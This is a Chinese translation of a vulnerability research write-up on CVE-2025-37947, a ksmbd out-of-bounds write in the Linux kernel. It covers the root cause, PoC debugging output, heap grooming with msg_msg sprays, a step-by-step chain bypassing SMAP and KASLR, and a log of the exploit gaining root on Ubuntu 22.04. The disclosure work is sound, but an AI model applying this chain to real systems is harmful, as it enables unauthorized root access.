ksmbd - 利用CVE-2025-37947(3/3)
引言
这是我们关于ksmbd系列文章的最后一篇。关于之前的文章,请参阅第1部分和第2部分。
考虑到所有已发现的漏洞和我们报告的概念验证利用,我们需要选择一些合适的候选漏洞进行利用。特别是,我们希望使用最近报告的漏洞,以避免降低我们的工作环境版本。
我们首先尝试了几个释放后使用(UAF)漏洞,因为这类漏洞在众多文章中被证明几乎总是可利用的。然而,其中许多需要竞态条件和特定的时机,因此我们将它们推迟,转而选择具有更可靠或确定性利用路径的漏洞。
还有一些漏洞依赖于用户无法控制的因素,或者具有特殊行为。让我们首先看看CVE-2025-22041,我们最初打算使用它。由于缺少锁定机制,可能会两次调用ksmbd_free_user函数:
1
2
3
4
5
6
7
|
void ksmbd_free_user(struct ksmbd_user *user)
{
ksmbd_ipc_logout_request(user->name, user->flags);
kfree(user->name);
kfree(user->passkey);
kfree(user);
}
|
在这种双重释放场景中,攻击者需要用另一个对象替换user->name,以便在第二次释放时将其释放。问题在于kmalloc缓存大小取决于用户名的长度。如果用户名长度略大于8个字符,它将适合kmalloc-16而不是kmalloc-8,这意味着根据用户名长度需要不同的利用技术。
因此,我们决定研究CVE-2025-37947,它从一开始就显得很有希望。我们考虑通过将漏洞与信息泄露结合来进行远程利用,但我们缺乏如写入泄漏之类的原语,并且我们不知道去年是否有此类漏洞被报告。即便如此,如前所述,我们将自己限制在我们发现的漏洞范围内。
仅这个漏洞似乎就提供了绕过常见缓解措施(例如KASLR、SMAP、SMEP以及多个Ubuntu内核强化选项,如HARDENED_USERCOPY)所需的能力。因此,由于额外的时间限制,我们最终只专注于本地权限提升。请注意,在撰写本文时,我们在仍然易受攻击的最新内核(5.15.0-153-generic)上的Ubuntu 22.04.5 LTS上实现了该漏洞利用。
根本原因分析
该发现需要stream_xattr模块在vfs objects配置选项中启用,并且可以由经过身份验证的用户触发。此外,必须在默认配置中添加可写共享,如下所示:
1
2
3
4
|
[share]
path = /share
vfs objects = streams_xattr
writeable = yes
|
以下是易受攻击的代码,其中删除了一些无关的行,这些行不会影响漏洞的逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
size_t count)
{
char *stream_buf = NULL, *wbuf;
struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
size_t size;
ssize_t v_len;
int err = 0;
ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
*pos, count);
size = *pos + count;
if (size > XATTR_SIZE_MAX) { // [1]
size = XATTR_SIZE_MAX;
count = (*pos + count) - XATTR_SIZE_MAX;
}
wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2]
stream_buf = wbuf;
memcpy(&stream_buf[*pos], buf, count); // [3]
// .. snip
if (err < 0)
goto out;
fp->filp->f_pos = *pos;
err = 0;
out:
kvfree(stream_buf);
return err;
}
|
扩展属性值的大小XATTR_SIZE_MAX为65536,即16页(0x10000),假设常见的页面大小为0x1000字节。我们可以看到在[1]处,如果count和position超过此值,size将被截断为0x10000,并在[2]处分配。
因此,我们可以将position设置为0x10000,count设置为0x8,而memcpy(stream_buf[0x10000], buf, 8)将在[3]处越界写入8字节用户控制的数据。请注意,我们可以调整position来控制偏移量,例如使用值0x10010在偏移量16处写入。但是,我们复制的字节数(count)也会增加16,因此我们最终复制24字节,可能会破坏更多数据。这通常是不希望的,具体取决于我们可以实现的对齐方式。
概念验证
为了证明该漏洞是可触发的,我们编写了一个最小化的概念验证(PoC)。该PoC仅触发漏洞 - 它不会提升权限。此外,在将/proc/pagetypeinfo的权限更改为可由非特权用户读取后,它可以用于确认缓冲区分配顺序。PoC代码通过libsmb2库使用smbuser/smbpassword凭据进行身份验证,并使用与连接相同的套接字发送具有用户控制属性的vfs流数据。
具体来说,我们将file_offset设置为0x0000010018ULL,将length_wr设置为8,写入32个字节,用0xaa和0xbb模式填充以便于识别。
如果我们运行PoC,打印分配地址并在memcpy处中断,我们可以确认越界写入:
1
2
3
4
5
6
7
8
9
10
|
(gdb) c
Continuing.
ksmbd_vfs_stream_write+310 allocated: ffff8881056b0000
Thread 2 hit Breakpoint 2, 0xffffffffc06f4b39 in memcpy (size=32,
q=0xffff8881031b68fc, p=0xffff8881056c0018)
at /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h:191
warning: 191 /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h: No such file or directory
(gdb) x/2xg $rsi
0xffff8881031b68fc: 0xaaaaaaaaaaaaaaaa 0xbbbbbbbbbbbbbbbb
|
用于kvzalloc的堆布局
在Linux上,物理内存以页面(通常为4KB)为单位进行管理,页面分配器(伙伴分配器)将它们组织成称为阶数的2的幂次方块。阶数0是单个页面,阶数1是2个连续页面,阶数2是4个页面,依此类推。这使内核能够有效地分配和合并连续页面块。
考虑到这一点,我们必须仔细研究通过kvzalloc分配内存的确切方式。该函数只是kvmalloc的一个包装器,返回一个归零的页面:
1
2
3
4
5
|
// https://elixir.bootlin.com/linux/v5.15/source/include/linux/mm.h#L811
static inline void *kvzalloc(size_t size, gfp_t flags)
{
return kvmalloc(size, flags | __GFP_ZERO);
}
|
然后该函数调用kvmalloc_node,尝试使用kmalloc分配物理连续内存,如果失败,则回退到vmalloc以获得仅需要虚拟连续的内存。我们没有尝试制造内存压力来利用后一种分配机制,因此我们可以假设该函数的行为类似于kmalloc()。
由于Ubuntu默认使用SLUB分配器进行kmalloc,它随后调用__kmalloc_node。该函数通过kmalloc_caches使用阶数为1的页面分配,因为KMALLOC_MAX_CACHE_SIZE的值为8192。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4424
void *__kmalloc_node(size_t size, gfp_t flags, int node)
{
struct kmem_cache *s;
void *ret;
if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) {
ret = kmalloc_large_node(size, flags, node);
trace_kmalloc_node(_RET_IP_, ret,
size, PAGE_SIZE << get_order(size),
flags, node);
return ret;
}
s = kmalloc_slab(size, flags);
if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;
ret = slab_alloc_node(s, flags, node, _RET_IP_, size);
trace_kmalloc_node(_RET_IP_, ret, size, s->size, flags, node);
ret = kasan_kmalloc(s, ret, size, flags);
return ret;
}
|
对于任何更大的分配,Linux内核直接使用页面分配器获取页面:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4407
#ifdef CONFIG_NUMA
static void *kmalloc_large_node(size_t size, gfp_t flags, int node)
{
struct page *page;
void *ptr = NULL;
unsigned int order = get_order(size);
flags |= __GFP_COMP;
page = alloc_pages_node(node, flags, order);
if (page) {
ptr = page_address(page);
mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
PAGE_SIZE << order);
}
return kmalloc_large_node_hook(ptr, size, flags);
}
|
因此,由于我们需要请求16个页面,我们正在处理伙伴分配器页面布局,并且我们的目标是溢出紧随阶数4分配之后的内存。问题是我们可以在那里放置什么以及如何确保正确的位置。
一个关键约束是memcpy()在分配后立即发生。这排除了分配后喷射的可能性。因此,我们必须提前在内存中创建一个16页的连续空闲空间,以便kvzalloc()将stream_buf放置在该区域中。这样,越界写入就会命中一个受控且有用的目标对象。
内核内存中可以分配各种对象,但最常见的是使用kmalloc缓存的对象。因此,我们研究了哪些可能是合适的选择,其中阶数值表示用于保存这些对象的slab的分配页面阶数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$ for i in /sys/kernel/slab/*/order; do \
sudo cat $i | tr -d '\n'; echo " -> $i"; \
done | sort -rn | head
3 -> /sys/kernel/slab/UDPv6/order
3 -> /sys/kernel/slab/UDPLITEv6/order
3 -> /sys/kernel/slab/TCPv6/order
3 -> /sys/kernel/slab/TCP/order
3 -> /sys/kernel/slab/task_struct/order
3 -> /sys/kernel/slab/sighand_cache/order
3 -> /sys/kernel/slab/sgpool-64/order
3 -> /sys/kernel/slab/sgpool-128/order
3 -> /sys/kernel/slab/request_queue/order
3 -> /sys/kernel/slab/net_namespace/order
|
我们看到页面分配器最多使用阶数3页面。基于此,我们选择了kmalloc-cg-4k(输出中未显示),我们可以轻松地喷射它。它用途广泛,可用于实现各种利用原语,例如任意读取、写入,甚至在某些情况下实现UAF。
在尝试了阶数3页面分配并检查/proc/pagetypeinfo之后,我们确认每个区域、每个阶数有5个空闲列表。在我们的案例中,使用了Normal区域,并且GFP_KERNEL更喜欢Unmovable迁移类型,因此我们可以忽略其他类型:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
$ sudo cat /proc/pagetypeinfo
Page block order: 9
Pages per block: 512
Free pages count per migrate type at order 0 1 2 3 4 5 6 7 8 9 10
Node 0, zone DMA, type Unmovable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type Movable 0 0 0 0 0 0 0 0 0 1 3
Node 0, zone DMA, type Reclaimable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Unmovable 0 0 0 0 0 0 0 1 0 1 0
Node 0, zone DMA32, type Movable 2 2 1 1 0 3 3 3 2 3 730
Node 0, zone DMA32, type Reclaimable 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone DMA32, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Unmovable 69 30 7 9 3 1 30 63 37 28 36
Node 0, zone Normal, type Movable 37 7 3 5 5 3 5 2 2 4 1022
Node 0, zone Normal, type Reclaimable 3 2 1 2 1 0 0 0 0 1 0
Node 0, zone Normal, type HighAtomic 0 0 0 0 0 0 0 0 0 0 0
Node 0, zone Normal, type Isolate 0 0 0 0 0 0 0 0 0 0 0
Number of blocks type Unmovable Movable Reclaimable HighAtomic Isolate
Node 0, zone DMA 1 7 0 0 0
Node 0, zone DMA32 2 1526 0 0 0
Node 0, zone Normal 182 2362 16 0 0
|
输出显示阶数3有9个空闲元素,阶数4有3个。通过调用kvmalloc(0x10000, GFP_KERNEL | __GFP_ZERO),我们可以确认阶数4元素的数量减少了。我们可以比较分配前后的状态:
1
2
3
|
Free pages count per migrate type at order 0 1 2 3 4 5 6 7 8 9 10
Node 0, zone Normal, type Unmovable 843 592 178 14 6 7 4 47 45 26 32
Node 0, zone Normal, type Unmovable 843 592 178 14 5 7 4 47 45 26 32
|
当分配器用完阶数3和阶数4的块时,它开始拆分更高阶的块 - 例如阶数5 - 以满足新的请求。这种拆分是递归的,一个阶数5块变成两个阶数4块,如果需要,其中一个会再次拆分。
在我们的场景中,一旦我们用尽所有阶数3和阶数4的空闲列表条目,分配器就会拉取一个阶数5块。一半被拆分以满足较低阶分配 - 我们的目标阶数3对象。另一半仍然是一个空闲的阶数4块,稍后可以被kvzalloc用于stream_buf。
尽管这种布局不能保证,但在重复几次之后,它给了我们相对较高的概率出现这样的场景:stream_buf分配直接位于阶数3对象之后,允许我们通过越界写入破坏其内存。
通过分配1024条消息(msg_msg),消息大小为4096以适合kmalloc-cg-4k,我们获得了以下以stream_buf在0xffff8881117b0000为中心的布局,其中红色条带标记目标页面,蓝色代表msg_msg对象:
[此处应有布局图]
当我们放大时,我们确认确实可以将stream_buf放置在一条消息之前:
[此处应有放大图]
请注意,通过接收消息和创建空洞,覆盖受害者对象的概率得到了显著提高。然而,在少数情况下 - 在我们的结果中不到10% - 利用失败了。
这可能发生在我们覆盖不同对象时,具体取决于ksmbd或外部进程的状态。不幸的是,这也有可能(尽管概率较小)导致内核恐慌。
利用策略
在能够触发越界写入后,本地权限提升几乎变得直接。我们尝试了几种方法,例如破坏分段msg_msg中的下一个指针,详细描述在此。然而,使用这种方法没有简单的方法来获取KASLR泄漏,我们不想依赖侧信道攻击,如Retbleed。因此,我们不得不重新审视我们的策略。
来自近乎经典的CVE-2021-22555: Turning \x00\x00 into 10000$的策略是最合适的。因为我们覆盖的是物理页面而不是Slab对象,所以我们不必处理由会计引入的跨缓存攻击,并且漏洞利用后期阶段只需要少量修改。
首先,我们通过bpf脚本确认分配的地址,以确保地址正确对齐。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$ sudo ./bpf-tracer.sh
...
$ grep 4048 out-4096.txt | egrep ".... total" -o | sort | uniq -c
511 0000 total
510 1000 total
511 2000 total
512 3000 total
511 4000 total
511 5000 total
511 6000 total
511 7000 total
513 8000 total
513 9000 total
513 a000 total
513 b000 total
513 c000 total
513 d000 total
513 e000 total
513 f000 total
|
我们选择通过\x05\x00覆盖两个较低有效字节来创建冲突,这有些随意。之后,我们只是重新实现了所有阶段,甚至能够找到类似的ROP小工具用于栈转移。
我们强烈建议阅读原始文章以明确所有步骤,因为它提供了我们不想在此重复的缺失信息。
有了这些,利用流程如下:
- 分配内核中的许多
msg_msg对象。
- 在ksmbd中触发越界写入以分配
stream_buf,并覆盖主消息的下一个指针,使两个主消息指向同一个辅助消息。
- 通过使用其队列索引标记每条消息,并使用
msgrcv(MSG_COPY)扫描队列以查找不匹配的标签,来检测损坏的对。
- 释放真实的辅助消息(来自真实队列)以创建释放后使用 - 虚假队列仍持有指向已释放缓冲区的陈旧指针。
- 通过UNIX套接字在已释放的槽上喷射用户空间对象,以便我们可以通过制作虚假
msg_msg用受控数据回收已释放的内存。
- 滥用
m_ts泄漏内核内存:制作虚假msg_msg,以便copy_msg返回比预期更多的数据,并读取相邻的头部和指针以泄漏内核堆地址,获取mlist.next和mlist.prev。
- 借助
sk_buff喷射,用正确的mlist.next和mlist.prev重建虚假msg_msg,以便它可以正常取消链接和释放。
- 喷射并用
struct pipe_buffer对象回收该UAF,以便我们可以泄漏anon_pipe_buf_ops并计算内核基址以绕过KASLR。
- 通过第二次喷射
skbuff制作虚假的pipe_buf_operations结构,其释放操作指针指向精心设计的小工具序列。
- 通过关闭管道触发释放回调 - 这将启动具有栈转移的ROP链。
最终利用
最终利用代码在此处可用,需要多次尝试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.
[ ] Attempt: 3
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: 1a00
[+] real_idx: 1a08
[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff8f17c6e88000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff8f17d3bb5000
[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa3242700
[+] kbase_addr: ffffffffa2000000
[+] leaked kslide: 21000000
[+] STAGE 4: Kernel code execution
[*] Releasing pipe_buffer objects...
[*] Returned to userland
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux target22 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
|
请注意,可靠性仍然可以提高,因为我们没有尝试找到用于损坏的喷射和释放对象数量的最佳值。我们通过实验得出了这些值,并获得了令人满意的结果。
结论
我们成功演示了在最新Ubuntu 22.04 LTS上使用默认配置并启用ksmbd服务时,该漏洞在ksmbd中的可利用性。还开发了完整的漏洞利用程序以实现本地root权限提升。
ksmbd_vfs_stream_write()中的一个缺陷允许在pos超过XATTR_SIZE_MAX时进行越界写入,从而能够破坏相邻页面中的内核对象。本地利用可以可靠地提升权限。远程利用则更具挑战性:攻击者将仅限于ksmbd公开的代码路径和对象,并且成功的远程攻击还需要信息泄露来击败KASLR并使堆布局可靠。
参考文献
- Andy Nguyen - CVE-2021-22555: Turning \x00\x00 into 10000$
- Matthew Ruffell - Looking at kmalloc() and the SLUB Memory Allocator
- sam4k - Linternals series (Memory Allocators/Memory Management)
- corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel